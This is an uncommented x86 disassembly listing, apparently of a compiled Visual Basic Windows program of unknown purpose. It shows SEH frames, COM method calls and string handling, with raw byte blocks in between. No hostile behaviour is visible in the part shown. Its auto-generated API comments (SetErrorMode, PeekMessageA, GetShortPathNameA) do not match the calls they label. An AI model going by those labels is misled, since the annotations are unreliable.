		call	dword ptr [edx+718h]
		test	eax, eax
		jge	short loc_4106DC
		push	718h
		push	401CBCh
		push	ebx
		push	eax
		call	dword ptr ds:loc_40102C


loc_4106DC:				; CODE XREF: .data:004106C8j
		lea	eax, [ebp-90h]
		lea	ecx, [ebp-8Ch]
		push	eax
		lea	edx, [ebp-88h]
		push	ecx
		lea	eax, [ebp-84h]
		push	edx
		lea	ecx, [ebp-80h]
		push	eax
		push	ecx
		push	5
		call	dword ptr ds:loc_4010D5+3
		add	esp, 18h


loc_410707:				; CODE XREF: .data:00410659j
		mov	edx, [ebp-20h]
		push	offset sub_4020CC
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	edi	; PeekMessageA
		push	eax
		mov	eax, [ebp-38h]
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	edi	; PeekMessageA
		mov	ecx, [ebp-24h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	edi	; PeekMessageA
		push	eax
		push	4020E0h
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-8Ch]
		call	edi	; PeekMessageA
		mov	edx, [ebx]
		lea	eax, [ebp-0E8h]
		lea	ecx, [ebp-8Ch]
		push	eax
		push	ecx
		push	ebx
		call	dword ptr [edx+700h]
		test	eax, eax
		jge	short loc_41077A
		push	700h
		push	401CBCh
		push	ebx
		push	eax
		call	dword ptr ds:loc_40102C


loc_41077A:				; CODE XREF: .data:00410766j
		xor	edx, edx
		cmp	word ptr [ebp-0E8h], 0FFFFh
		lea	eax, [ebp-8Ch]
		lea	ecx, [ebp-88h]
		setz	dl
		neg	edx
		mov	[ebp-0F0h], edx
		push	eax
		lea	edx, [ebp-84h]
		push	ecx
		lea	eax, [ebp-80h]
		push	edx
		push	eax
		push	4
		call	dword ptr ds:loc_4010D5+3
		add	esp, 14h
		cmp	word ptr [ebp-0F0h], 0
		jz	loc_41084E
		mov	ecx, [ebp-20h]
		mov	ebx, [ebx]
		push	offset sub_4020CC
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	edi	; PeekMessageA
		mov	edx, [ebp-38h]
		push	eax
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	edi	; PeekMessageA
		push	eax
		mov	eax, [ebp-24h]
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	edi	; PeekMessageA
		push	eax
		push	4020E0h
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-8Ch]
		call	edi	; PeekMessageA
		mov	esi, [ebp+8]
		push	eax
		push	esi
		call	dword ptr [ebx+718h]
		test	eax, eax
		jge	short loc_41082A
		push	718h
		push	401CBCh
		push	esi
		push	eax
		call	dword ptr ds:loc_40102C


loc_41082A:				; CODE XREF: .data:00410816j
		lea	ecx, [ebp-8Ch]
		lea	edx, [ebp-88h]
		push	ecx
		lea	eax, [ebp-84h]
		push	edx
		lea	ecx, [ebp-80h]
		push	eax
		push	ecx
		push	4
		call	dword ptr ds:loc_4010D5+3
		add	esp, 14h


loc_41084E:				; CODE XREF: .data:004104DBj
					; .data:00410587j ...
		mov	dword ptr [ebp-4], 0
		wait
		push	403D10h
		jmp	short loc_4108AE
; ---------------------------------------------------------------------------
		db 8Dh,	95h, 70h
		dd 8DFFFFFFh, 0FFFF7485h, 8D8D52FFh, 0FFFFFF78h, 7C958D50h
		dd 51FFFFFFh, 5280458Dh, 0FF056A50h, 4010D815h,	18C48300h
		dd 0FF6C8D8Dh, 15FFFFFFh, 40111Ch, 0FF4C8D8Dh, 958DFFFFh
		dd 0FFFFFF5Ch, 26A5251h, 101C15FFh, 0C4830040h
		db 0Ch,	0C3h
; ---------------------------------------------------------------------------


loc_4108AE:				; CODE XREF: .data:0041085Bj
		mov	esi, dword ptr ds:loc_401118
		lea	ecx, [ebp-18h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-1Ch]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-20h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-24h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-28h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-2Ch]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-30h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-34h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-38h]
		call	esi	; SetErrorMode
		mov	edi, dword ptr ds:loc_40100C
		lea	ecx, [ebp-48h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-4Ch]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-50h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-60h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-70h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-74h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-78h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-7Ch]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		dd 5008458Bh, 51FF088Bh, 0FC458B08h, 5FEC4D8Bh,	0D89645Eh
		dd 0
		dd 5DE58B5Bh, 900004C2h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], 401138h
		xor	edi, edi
		mov	[ebp-4], edi
		mov	esi, [ebp+8]
		push	esi
		mov	eax, [esi]
		call	dword ptr [eax+4]
		mov	edx, [ebp+0Ch]
		mov	[ebp-18h], edi
		mov	[ebp-1Ch], edi
		mov	[ebp-20h], edi
		mov	[ebp-24h], edi
		mov	[ebp-28h], edi
		mov	[ebp-2Ch], edi
		mov	[ebp-30h], edi
		mov	[ebp-34h], edi
		mov	[ebp-38h], edi
		mov	[ebp-48h], edi
		mov	[ebp-58h], edi
		mov	[ebp-5Ch], edi
		mov	[ebp-90h], edi
		mov	edi, dword ptr ds:loc_4010CF+1
		lea	ecx, [ebp-1Ch]
		call	edi	; PeekMessageA
		mov	edx, [ebp+10h]
		lea	ecx, [ebp-20h]
		call	edi	; PeekMessageA
		mov	edx, [ebp+14h]
		lea	ecx, [ebp-18h]
		call	edi	; PeekMessageA
		mov	edx, [ebp+18h]
		lea	ecx, [ebp-28h]
		call	edi	; PeekMessageA
		mov	edx, [ebp-20h]
		mov	edi, dword ptr ds:loc_401026+2
		mov	ebx, [esi]
		lea	ecx, [ebp-90h]
		push	ecx
		push	offset sub_4020CC
		push	edx
		call	edi	; PeekMessageA
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	esi
		call	dword ptr [ebx+704h]
		test	eax, eax
		jge	short loc_4109FD
		push	704h
		push	401CBCh
		push	esi
		push	eax
		call	dword ptr ds:loc_40102C


loc_4109FD:				; CODE XREF: .data:004109E9j
		xor	ebx, ebx
		lea	ecx, [ebp-2Ch]
		cmp	[ebp-90h], bx
		setz	bl
		neg	ebx
		call	dword ptr ds:loc_401118
		test	bx, bx
		jz	short loc_410A58
		mov	eax, [ebp-20h]
		mov	ebx, [esi]
		push	offset sub_4020CC
		push	eax
		call	edi	; PeekMessageA
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	esi
		call	dword ptr [ebx+710h]
		test	eax, eax
		jge	short loc_410A4F
		push	710h
		push	401CBCh
		push	esi
		push	eax
		call	dword ptr ds:loc_40102C


loc_410A4F:				; CODE XREF: .data:00410A3Bj
		lea	ecx, [ebp-2Ch]
		call	dword ptr ds:loc_401118


loc_410A58:				; CODE XREF: .data:00410A17j
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-28h]
		push	ecx
		push	edx
		call	edi	; PeekMessageA
		mov	ebx, dword ptr ds:loc_401105+3
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	ebx	; GetShortPathNameA
		push	eax
		mov	eax, [ebp-1Ch]
		push	eax
		call	edi	; PeekMessageA
		sub	esp, 10h
		mov	ecx, 8
		mov	edx, esp
		mov	[ebp-48h], ecx
		mov	[ebp-40h], eax
		sub	esp, 10h
		mov	[edx], ecx
		mov	ecx, [ebp-44h]
		mov	[edx+4], ecx
		mov	ecx, esp
		push	2
		push	16h
		mov	[edx+8], eax
		mov	eax, [ebp-3Ch]
		push	esi
		mov	[edx+0Ch], eax
		mov	edx, [ebp-78h]
		mov	eax, 3
		mov	[ecx], eax
		mov	eax, 1
		mov	[ecx+4], edx
		mov	[ecx+8], eax
		mov	eax, [ebp-70h]
		mov	[ecx+0Ch], eax
		mov	ecx, [esi]
		call	dword ptr [ecx+2FCh]
		lea	edx, [ebp-38h]
		push	eax
		push	edx
		call	dword ptr ds:loc_401038
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		call	dword ptr ds:loc_401077+1
		add	esp, 30h
		lea	ecx, [ebp-5Ch]
		push	eax
		push	ecx
		call	dword ptr ds:loc_4010C0
		lea	edx, [ebp-5Ch]
		lea	eax, [ebp-24h]
		push	edx
		push	eax
		call	dword ptr ds:loc_401010
		lea	ecx, [ebp-2Ch]
		call	dword ptr ds:loc_401118
		lea	ecx, [ebp-38h]
		call	dword ptr ds:loc_401118+4
		lea	ecx, [ebp-58h]
		lea	edx, [ebp-48h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		mov	eax, [ebp-20h]
		add	esp, 0Ch
		push	offset sub_4020CC
		push	eax
		call	edi	; PeekMessageA
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	ebx	; GetShortPathNameA
		push	eax
		push	offset sub_4020D8
		call	edi	; PeekMessageA
		mov	edx, eax
		lea	ecx, [ebp-30h]
		call	ebx	; GetShortPathNameA
		mov	ecx, [ebp-1Ch]
		push	eax
		push	ecx
		call	edi	; PeekMessageA
		mov	edx, eax
		lea	ecx, [ebp-34h]
		call	ebx	; GetShortPathNameA
		push	eax
		push	1
		push	0FFFFFFFFh
		push	220h
		call	dword ptr ds:loc_4010BB+1
		lea	edx, [ebp-34h]
		lea	eax, [ebp-30h]
		push	edx
		lea	ecx, [ebp-2Ch]
		push	eax
		push	ecx
		push	3
		call	dword ptr ds:loc_4010D5+3
		add	esp, 10h
		lea	edx, [ebp-24h]
		push	1
		push	edx
		push	4020F0h
		call	dword ptr ds:loc_401068
		push	1
		call	dword ptr ds:loc_401058
		push	403FF8h
		jmp	short loc_410BD1
; ---------------------------------------------------------------------------
		db 8Dh,	45h, 0CCh
		dd 50D04D8Dh, 51D4558Dh, 0FF036A52h, 4010D815h,	10C48300h
		dd 0FFC84D8Dh, 40111C15h, 0A8458D00h, 50B84D8Dh, 0FF026A51h
		dd 40101C15h, 0CC48300h, 52A4558Dh, 15FF006Ah, 401034h
		db 0C3h
; ---------------------------------------------------------------------------


loc_410BD1:				; CODE XREF: .data:00410B8Fj
		mov	esi, dword ptr ds:loc_401118
		lea	ecx, [ebp-18h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-1Ch]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-20h]
		call	esi	; SetErrorMode
		lea	eax, [ebp-24h]
		push	eax
		push	0
		call	dword ptr ds:loc_401032+2
		lea	ecx, [ebp-28h]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		dd 5008458Bh, 51FF088Bh, 0FC458B08h, 5FEC4D8Bh,	0D89645Eh
		dd 0
		dd 5DE58B5Bh, 900014C2h, 2 dup(90909090h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0CCh
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], offset sub_401148
		xor	esi, esi
		mov	[ebp-4], esi
		mov	edi, [ebp+8]
		push	edi
		mov	eax, [edi]
		call	dword ptr [eax+4]
		mov	edx, [ebp+0Ch]
		lea	ecx, [ebp-44h]
		mov	[ebp-18h], esi
		mov	[ebp-28h], esi
		mov	[ebp-2Ch], esi
		mov	[ebp-30h], esi
		mov	[ebp-40h], esi
		mov	[ebp-44h], esi
		mov	[ebp-48h], esi
		mov	[ebp-58h], esi
		mov	[ebp-68h], esi
		mov	[ebp-78h], esi
		mov	[ebp-88h], esi
		mov	[ebp-98h], esi
		mov	[ebp-0A8h], esi
		mov	[ebp-0B8h], esi
		mov	[ebp-0C8h], esi
		mov	[ebp-0D8h], esi
		call	dword ptr ds:loc_4010CF+1
		mov	esi, dword ptr ds:loc_4010F3+1
		lea	edx, [ebp+10h]
		lea	ecx, [ebp-40h]
		call	esi	; SetErrorMode
		lea	edx, [ebp+20h]
		lea	ecx, [ebp-28h]
		call	esi	; SetErrorMode
		mov	ecx, [ebp-44h]
		push	offset sub_402854
		push	ecx
		call	dword ptr ds:loc_401026+2
		mov	ebx, dword ptr ds:loc_401105+3
		mov	edx, eax
		lea	ecx, [ebp-30h]
		call	ebx	; GetShortPathNameA
		mov	edx, [ebp-44h]
		mov	esi, dword ptr ds:loc_4010A7+1
		mov	eax, 8
		mov	[ebp-0C0h], edx
		mov	[ebp-0A8h], eax
		mov	[ebp-0B8h], eax
		mov	[ebp-0C8h], eax
		mov	[ebp-0D8h], eax
		lea	eax, [ebp-0A8h]
		lea	ecx, [ebp-28h]
		push	eax
		lea	edx, [ebp-58h]
		push	ecx
		push	edx
		mov	dword ptr [ebp-0A0h], 401FB8h
		mov	dword ptr [ebp-0B0h], 402874h
		mov	dword ptr [ebp-0D0h], 40287Ch
		call	esi	; SetErrorMode
		push	eax
		lea	eax, [ebp-0B8h]
		lea	ecx, [ebp-68h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		push	eax
		lea	edx, [ebp-40h]
		lea	eax, [ebp-78h]
		push	edx
		push	eax
		call	esi	; SetErrorMode
		lea	ecx, [ebp-0C8h]
		push	eax
		lea	edx, [ebp-88h]
		push	ecx
		push	edx
		call	esi	; SetErrorMode
		push	eax
		lea	eax, [ebp-0D8h]
		lea	ecx, [ebp-98h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	esi, dword ptr ds:loc_401013+1
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-18h]
		call	ebx	; GetShortPathNameA
		lea	edx, [ebp-98h]
		lea	eax, [ebp-88h]
		push	edx
		lea	ecx, [ebp-78h]
		push	eax
		lea	edx, [ebp-68h]
		push	ecx
		lea	eax, [ebp-58h]
		push	edx
		push	eax
		push	5
		call	dword ptr ds:loc_401019+3
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-30h]
		add	esp, 18h
		push	ecx
		push	edx
		call	dword ptr ds:loc_401026+2
		sub	esp, 10h
		mov	ecx, 8
		mov	edx, esp
		mov	[ebp-58h], ecx
		mov	[ebp-50h], eax
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-54h]
		push	16h
		push	edi
		mov	[edx+4], ecx
		mov	ecx, [edi]
		mov	[edx+8], eax
		mov	eax, [ebp-4Ch]
		mov	[edx+0Ch], eax
		call	dword ptr [ecx+2FCh]
		lea	edx, [ebp-48h]
		push	eax
		push	edx
		call	dword ptr ds:loc_401038
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		call	dword ptr ds:loc_401077+1
		add	esp, 20h
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	ebx	; GetShortPathNameA
		lea	ecx, [ebp-48h]
		call	dword ptr ds:loc_401118+4
		lea	ecx, [ebp-68h]
		lea	edx, [ebp-58h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		add	esp, 0Ch
		push	offset sub_404281
		jmp	short loc_410E56
; ---------------------------------------------------------------------------
		db 8Dh
		dd 15FFB84Dh, 40111Ch, 0FF68858Dh, 8D8DFFFFh, 0FFFFFF78h
		dd 88558D50h, 98458D51h, 0A84D8D52h, 56A5150h, 101C15FFh
		dd 0C4830040h
		db 18h,	0C3h
; ---------------------------------------------------------------------------


loc_410E56:				; CODE XREF: .data:00410E25j
		mov	esi, dword ptr ds:loc_401118
		lea	ecx, [ebp-18h]
		call	esi	; SetErrorMode
		mov	edi, dword ptr ds:loc_40100C
		lea	ecx, [ebp-28h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-2Ch]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-30h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-40h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-44h]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		db 8Bh,	45h, 8
		dd 0FF108B50h, 458B0852h, 0EC4D8BFCh, 89645E5Fh, 0Dh, 0E58B5B00h
		dd 28C25Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		mov	eax, 0A0h
		call	sub_40DDF0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-14h], 401158h
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		mov	eax, [ebp+8]
		mov	ecx, [eax]
		mov	edx, [ebp+8]
		push	edx
		call	dword ptr [ecx+4]
		mov	dword ptr [ebp-4], 1
		mov	dword ptr [ebp-4], 2
		mov	dword ptr [ebp-40h], 80020004h
		mov	dword ptr [ebp-48h], 0Ah
		lea	eax, [ebp-48h]
		push	eax
		call	dword ptr ds:loc_4010C3+1
		mov	[ebp-80h], ax
		mov	dword ptr [ebp-88h], 2
		lea	edx, [ebp-88h]
		lea	ecx, [ebp-34h]
		call	dword ptr ds:loc_401006+2
		lea	ecx, [ebp-48h]
		call	dword ptr ds:loc_40100C
		mov	dword ptr [ebp-4], 3
		push	0FFFFFFFFh
		call	dword ptr ds:loc_401039+3
		mov	dword ptr [ebp-4], 4
		mov	ecx, [ebp+0Ch]
		mov	edx, [ecx]
		push	edx
		lea	eax, [ebp-34h]
		push	eax
		call	dword ptr ds:loc_4010A9+3
		push	eax
		push	0FFFFFFFFh
		push	1
		call	dword ptr ds:loc_4010BB+1
		mov	dword ptr [ebp-4], 5
		call	dword ptr ds:loc_4010E4
		push	eax
		lea	ecx, [ebp-38h]
		push	ecx
		call	dword ptr ds:loc_401038
		mov	[ebp-0A0h], eax
		lea	edx, [ebp-9Ch]
		push	edx
		mov	eax, [ebp-0A0h]
		mov	ecx, [eax]
		mov	edx, [ebp-0A0h]
		push	edx
		call	dword ptr [ecx+1Ch]
		fnclex
		mov	[ebp-0A4h], eax
		cmp	dword ptr [ebp-0A4h], 0
		jge	short loc_410FD2
		push	1Ch
		push	40288Ch
		mov	eax, [ebp-0A0h]
		push	eax
		mov	ecx, [ebp-0A4h]
		push	ecx
		call	dword ptr ds:loc_40102C
		mov	[ebp-0BCh], eax
		jmp	short loc_410FDC
; ---------------------------------------------------------------------------


loc_410FD2:				; CODE XREF: .data:00410FADj
		mov	dword ptr [ebp-0BCh], 0


loc_410FDC:				; CODE XREF: .data:00410FD0j
		mov	dword ptr [ebp-50h], 0
		mov	dword ptr [ebp-58h], 0Bh
		mov	dword ptr [ebp-40h], 0FFFFFFFFh
		mov	dword ptr [ebp-48h], 0Bh
		xor	edx, edx
		cmp	dword ptr [ebp-9Ch], 0
		setz	dl
		neg	edx
		mov	[ebp-70h], dx
		mov	dword ptr [ebp-78h], 0Bh
		lea	eax, [ebp-58h]
		push	eax
		lea	ecx, [ebp-48h]
		push	ecx
		lea	edx, [ebp-78h]
		push	edx
		lea	eax, [ebp-68h]
		push	eax
		call	dword ptr ds:loc_4010CF+5
		lea	ecx, [ebp-68h]
		push	ecx
		call	dword ptr ds:loc_4010A9+3
		mov	[ebp-24h], ax
		lea	ecx, [ebp-38h]
		call	dword ptr ds:loc_401118+4
		lea	edx, [ebp-68h]
		push	edx
		lea	eax, [ebp-58h]
		push	eax
		lea	ecx, [ebp-48h]
		push	ecx
		lea	edx, [ebp-78h]
		push	edx
		push	4
		call	dword ptr ds:loc_401019+3
		add	esp, 14h
		mov	dword ptr [ebp-4], 6
		lea	eax, [ebp-34h]
		push	eax
		call	dword ptr ds:loc_4010A9+3
		push	eax
		call	dword ptr ds:loc_401058
		mov	dword ptr [ebp-4], 7
		call	dword ptr ds:loc_4010E4
		push	eax
		lea	ecx, [ebp-38h]
		push	ecx
		call	dword ptr ds:loc_401038
		mov	[ebp-0A0h], eax
		push	0
		mov	edx, [ebp-0A0h]
		mov	eax, [edx]
		mov	ecx, [ebp-0A0h]
		push	ecx
		call	dword ptr [eax+20h]
		fnclex
		mov	[ebp-0A4h], eax
		cmp	dword ptr [ebp-0A4h], 0
		jge	short loc_4110D7
		push	20h
		push	40288Ch
		mov	edx, [ebp-0A0h]
		push	edx
		mov	eax, [ebp-0A4h]
		push	eax
		call	dword ptr ds:loc_40102C
		mov	[ebp-0C0h], eax
		jmp	short loc_4110E1
; ---------------------------------------------------------------------------


loc_4110D7:				; CODE XREF: .data:004110B2j
		mov	dword ptr [ebp-0C0h], 0


loc_4110E1:				; CODE XREF: .data:004110D5j
		lea	ecx, [ebp-38h]
		call	dword ptr ds:loc_401118+4
		push	40451Ch
		jmp	short loc_411112
; ---------------------------------------------------------------------------
		db 8Dh,	4Dh, 0C8h
		dd 111C15FFh, 4D8D0040h, 558D5198h, 458D52A8h, 36A50B8h
		dd 101C15FFh, 0C4830040h
		db 10h,	0C3h
; ---------------------------------------------------------------------------


loc_411112:				; CODE XREF: .data:004110EFj
		lea	ecx, [ebp-34h]
		call	dword ptr ds:loc_40100C
		retn
; ---------------------------------------------------------------------------
		dd 8B084D8Bh, 8458B11h,	852FF50h, 66104D8Bh, 66DC558Bh
		dd 458B1189h, 0E04D8BF0h, 0D8964h, 5F000000h, 0E58B5B5Eh
		dd 0CC25Dh, 2 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], offset sub_401198
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	edx, [ebp+0Ch]
		lea	ecx, [ebp-1Ch]
		mov	[ebp-18h], esi
		mov	[ebp-1Ch], esi
		mov	[ebp-20h], esi
		mov	[ebp-30h], esi
		call	dword ptr ds:loc_4010CF+1
		lea	eax, [ebp-30h]
		lea	edx, [ebp-1Ch]
		push	10h
		push	eax
		mov	[ebp-28h], edx
		mov	dword ptr [ebp-30h], 4008h
		call	dword ptr ds:loc_4010AD+3
		mov	edx, eax
		lea	ecx, [ebp-18h]
		call	dword ptr ds:loc_401105+3
		mov	ecx, [ebp-18h]
		push	ecx
		push	4028A0h
		call	dword ptr ds:loc_40105B+5
		neg	eax
		sbb	eax, eax
		mov	[ebp-20h], eax
		push	offset sub_4045EF
		mov	esi, dword ptr ds:loc_401118
		lea	ecx, [ebp-18h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-1Ch]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8B500845h, 852FF10h,	6610458Bh, 66E04D8Bh, 458B0889h
		dd 0EC4D8BFCh, 89645E5Fh, 0Dh, 0E58B5B00h, 0CC25Dh, 2 dup(90909090h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 54h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], 4011A8h
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	edx, [ebp+10h]
		mov	eax, [ebp+0Ch]
		mov	[ebp-1Ch], esi
		mov	[ebp-20h], esi
		mov	[edx], esi
		mov	ecx, [eax]
		push	ecx
		mov	[ebp-30h], esi
		mov	[ebp-40h], esi
		mov	[ebp-50h], esi
		call	dword ptr ds:loc_401015+3
		mov	ecx, eax
		call	dword ptr ds:loc_401068+4
		mov	edi, dword ptr ds:loc_401105+3
		mov	ebx, dword ptr ds:loc_401013+1
		mov	esi, eax


loc_41128D:				; CODE XREF: .data:00411304j
		test	si, si
		jle	loc_41135C
		mov	edx, [ebp+0Ch]
		lea	eax, [ebp-30h]
		movsx	ecx, si
		mov	[ebp-48h], edx
		push	eax
		lea	edx, [ebp-50h]
		push	ecx
		lea	eax, [ebp-40h]
		push	edx
		push	eax
		mov	dword ptr [ebp-28h], 1
		mov	dword ptr [ebp-30h], 2
		mov	dword ptr [ebp-50h], 4008h
		call	dword ptr ds:loc_40104D+3
		lea	ecx, [ebp-40h]
		push	ecx
		call	ebx	; GetShortPathNameA
		mov	edx, eax
		lea	ecx, [ebp-1Ch]
		call	edi	; PeekMessageA
		lea	edx, [ebp-40h]
		lea	eax, [ebp-30h]
		push	edx
		push	eax
		push	2
		call	dword ptr ds:loc_401019+3
		mov	ecx, [ebp-1Ch]
		add	esp, 0Ch
		push	ecx
		push	offset sub_4020D8
		call	dword ptr ds:loc_40105B+5
		test	eax, eax
		jz	short loc_411306
		sub	si, 1
		jo	loc_4113B7
		jmp	short loc_41128D
; ---------------------------------------------------------------------------


loc_411306:				; CODE XREF: .data:004112F8j
		mov	edx, [ebp+0Ch]
		lea	eax, [ebp-30h]
		mov	[ebp-48h], edx
		push	eax
		lea	ecx, [ebp-50h]
		sub	si, 1
		push	1
		lea	edx, [ebp-40h]
		push	ecx
		push	edx
		jo	loc_4113B7
		mov	[ebp-28h], si
		mov	dword ptr [ebp-30h], 2
		mov	dword ptr [ebp-50h], 4008h
		call	dword ptr ds:loc_40104D+3
		lea	eax, [ebp-40h]
		push	eax
		call	ebx	; GetShortPathNameA
		mov	edx, eax
		lea	ecx, [ebp-20h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-40h]
		lea	edx, [ebp-30h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		add	esp, 0Ch


loc_41135C:				; CODE XREF: .data:00411290j
		push	404790h
		jmp	short loc_411386
; ---------------------------------------------------------------------------
		db 0F6h
		dd 7404FC45h, 0E04D8D09h, 111815FFh, 458D0040h,	0D04D8DC0h
		dd 26A5150h, 101C15FFh,	0C4830040h
		db 0Ch,	0C3h
; ---------------------------------------------------------------------------


loc_411386:				; CODE XREF: .data:00411361j
		lea	ecx, [ebp-1Ch]
		call	dword ptr ds:loc_401118
		retn
; ---------------------------------------------------------------------------
		dd 5008458Bh, 52FF108Bh, 10458B08h, 89E04D8Bh, 0FC458B08h
		dd 5FEC4D8Bh, 0D89645Eh, 0
		dd 5DE58B5Bh
		db 0C2h, 0Ch, 0
; ---------------------------------------------------------------------------


loc_4113B7:				; CODE XREF: .data:004112FEj
					; .data:0041131Ej
		call	dword ptr ds:loc_4010B7+1
		nop
		nop
		nop
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], offset sub_4011B8
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	[ebp-18h], esi
		mov	eax, [ebp+8]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+8]
		mov	eax, [ebp+14h]
		mov	cx, [ebp-18h]
		mov	[eax], cx
		mov	eax, [ebp-4]
		mov	ecx, [ebp-14h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		db 90h
		dd 3 dup(90909090h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 70h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], offset sub_4011C0
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	edx, [ebp+0Ch]
		lea	ecx, [ebp-18h]
		mov	[ebp-18h], esi
		mov	[ebp-28h], esi
		mov	[ebp-38h], esi
		mov	[ebp-48h], esi
		mov	[ebp-58h], esi
		mov	[ebp-78h], esi
		call	dword ptr ds:loc_4010CF+1
		push	esi
		lea	edx, [ebp-48h]
		push	offset sub_4028A8
		push	edx
		call	dword ptr ds:loc_40109A+2
		lea	eax, [ebp-48h]
		lea	ecx, [ebp-28h]
		push	eax
		push	ecx
		call	dword ptr ds:loc_4010EA+2
		mov	ebx, [ebp-64h]
		sub	esp, 10h
		mov	edx, esp
		mov	ecx, 4008h
		lea	eax, [ebp-18h]
		push	1
		mov	[edx], ecx
		lea	ecx, [ebp-28h]
		push	4028E0h
